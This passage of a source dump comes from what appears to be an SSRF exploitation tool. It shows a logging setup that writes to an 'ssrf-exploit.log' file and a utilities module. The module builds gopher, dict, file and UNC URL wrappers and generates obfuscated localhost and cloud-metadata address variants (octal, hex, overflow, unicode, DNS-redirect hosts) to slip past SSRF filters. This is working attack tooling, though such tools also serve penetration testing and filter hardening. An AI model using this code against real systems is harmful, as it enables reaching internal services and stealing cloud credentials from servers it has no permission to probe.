format="[%(levelname)s]:%(message)s", 588 | handlers=[ 589 | logging.FileHandler("ssrf-exploit.log", mode='w'), 590 | logging.StreamHandler() 591 | ] 592 | ) 593 | 594 | logging.addLevelName( logging.WARNING, "\033[1;31m%s\033[1;0m" % logging.getLevelName(logging.WARNING)) 595 | logging.addLevelName( logging.ERROR, "\033[1;41m%s\033[1;0m" % logging.getLevelName(logging.ERROR)) 596 | 597 | 598 | -------------------------------------------------------------------------------- /utils/utils.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import struct 3 | import string 4 | 5 | def wrapper_file(data): 6 | return f"file://{data}" 7 | 8 | def wrapper_unc(data, ip): 9 | return f"\\\\{ip}\\{data}" 10 | 11 | def wrapper_gopher(data, ip, port): 12 | return f"gopher://{ip}:{port}/_{data}" 13 | 14 | def wrapper_dict(data, ip, port): 15 | return f"dict://{data}:{ip}/{port}" 16 | 17 | def wrapper_http(data, ip, port, usernm=False, passwd=False): 18 | if usernm != False and passwd != False: 19 | return f"http://{usernm}:{passwd}@{ip}:{port}/{data}" 20 | return f"http://{ip}:{port}/{data}" 21 | 22 | def wrapper_https(data, ip, port): 23 | return f"https://{ip}:{port}/{data}" 24 | 25 | 26 | def diff_text(text1, text2): 27 | diff = "" 28 | for line in text1.split("\n"): 29 | if not line in text2: 30 | diff += line + "\n" 31 | return diff 32 | 33 | def ip_default_local(ips, ip): 34 | ips.add("127.0.0.1") 35 | ips.add("0.0.0.0") 36 | ips.add("localhost") 37 | 38 | def ip_default_shortcurt(ips, ip): 39 | ips.add("[::]") 40 | ips.add("0000::1") 41 | ips.add("0") 42 | ips.add("127.1") 43 | ips.add("127.0.1") 44 | 45 | def ip_default_cidr(ips, ip): 46 | ips.add("127.0.0.0") 47 | ips.add("127.0.1.3") 48 | ips.add("127.42.42.42") 49 | ips.add("127.127.127.127") 50 | 51 | 52 | def ip_decimal_notation(ips, ip): 53 | try: 54 | packedip = socket.inet_aton(ip) 55 | ips.add(struct.unpack("!l", packedip)[0]) 56 | except: 57 | pass 58 | 59 | 60 | def ip_dotted_decimal_with_overflow(ips, ip): 61 | try: 62 | ips.add(".".join([str(int(part) + 256) for part in ip.split(".")])) 63 | except: 64 | pass 65 | 66 | 67 | def ip_dotless_decimal(ips, ip): 68 | def octet_to_decimal_part(ip_part, octet): 69 | return int(ip_part) * (256 ** octet) 70 | 71 | try: 72 | parts = [part for part in ip.split(".")] 73 | ips.add(str(octet_to_decimal_part(parts[0], 3) + octet_to_decimal_part(parts[1], 2) + octet_to_decimal_part(parts[2], 1) + octet_to_decimal_part(parts[3], 0))) 74 | except: 75 | pass 76 | 77 | 78 | def ip_dotted_hexadecimal(ips, ip): 79 | def octet_to_hex_part(number): 80 | return str(hex(int(number))) 81 | 82 | try: 83 | ips.add(".".join([octet_to_hex_part(part) for part in ip.split(".")])) 84 | except: 85 | pass 86 | 87 | 88 | def ip_dotted_octal(ips, ip): 89 | def octet_to_oct_part(number): 90 | return str(oct(int(number))).replace("o","") 91 | 92 | try: 93 | ips.add(".".join([octet_to_oct_part(part) for part in ip.split(".")])) 94 | except: 95 | pass 96 | 97 | 98 | def ip_dotless_decimal_with_overflow(ips, ip): 99 | 100 | def octet_to_decimal_part(ip_part, octet): 101 | return int(ip_part) * (256 ** octet) 102 | 103 | try: 104 | parts = [part for part in ip.split(".")] 105 | ips.add(str(octet_to_decimal_part(parts[0], 3) + octet_to_decimal_part(parts[1], 2) + octet_to_decimal_part(parts[2], 1) + octet_to_decimal_part(parts[3], 0))) 106 | except: 107 | pass 108 | 109 | 110 | def ip_enclosed_alphanumeric(ips, ip): 111 | intab = "1234567890abcdefghijklmnopqrstuvwxyz" 112 | 113 | if ip == "127.0.0.1": 114 | ips.add("ⓛⓞⒸⒶⓛⓣⒺⓢⓣ.ⓜⒺ") 115 | 116 | outtab = "①②③④⑤⑥⑦⑧⑨⓪ⒶⒷⒸⒹⒺⒻⒼⒽⒾⒿⓀⓁⓂⓃⓄⓅⓆⓇⓈⓉⓊⓋⓌⓍⓎⓏ" 117 | trantab = ip.maketrans(intab, outtab) 118 | ips.add( ip.translate(trantab) ) 119 | 120 | outtab = "①②③④⑤⑥⑦⑧⑨⓪ⓐⓑⓒⓓⓔⓕⓖⓗⓘⓙⓚⓛⓜⓝⓞⓟⓠⓡⓢⓣⓤⓥⓦⓧⓨⓩ" 121 | trantab = ip.maketrans(intab, outtab) 122 | ips.add( ip.translate(trantab) ) 123 | 124 | def ip_dns_redirect(ips, ip): 125 | if ip == "127.0.0.1": 126 | ips.add("localtest.me") 127 | ips.add("customer1.app.localhost.my.company.127.0.0.1.nip.io") 128 | ips.add("localtest$google.me") 129 | 130 | if ip == "169.254.169.254": 131 | ips.add("metadata.nicob.net") 132 | ips.add("169.254.169.254.xip.io") 133 | ips.add("1ynrnhl.xip.io") 134 | 135 | def gen_ip_list(ip, level): 136 | ips = set() 137 | 138 | if level == 1: 139 | ips.add(ip) 140 | 141 | if level == 2: 142 | ip_default_local(ips, ip) 143 | ip_default_shortcurt(ips, ip) 144 | 145 | if level == 3: 146 | ip_dns_redirect(ips, ip) 147 | ip_default_cidr(ips, ip) 148 | 149 | if level == 4: 150 | ip_decimal_notation(ips, ip) 151 | ip_enclosed_alphanumeric(ips, ip) 152 | 153 | if level == 5: 154 | ip_dotted_decimal_with_overflow(ips, ip) 155 | ip_dotless_decimal(ips, ip) 156 | ip_dotless_decimal_with_overflow(ips, ip) 157 | ip_dotted_hexadecimal(ips, ip) 158 | ip_dotted_octal(ips, ip) 159 | 160 | for ip in ips: 161 | yield ip --------------------------------------------------------------------------------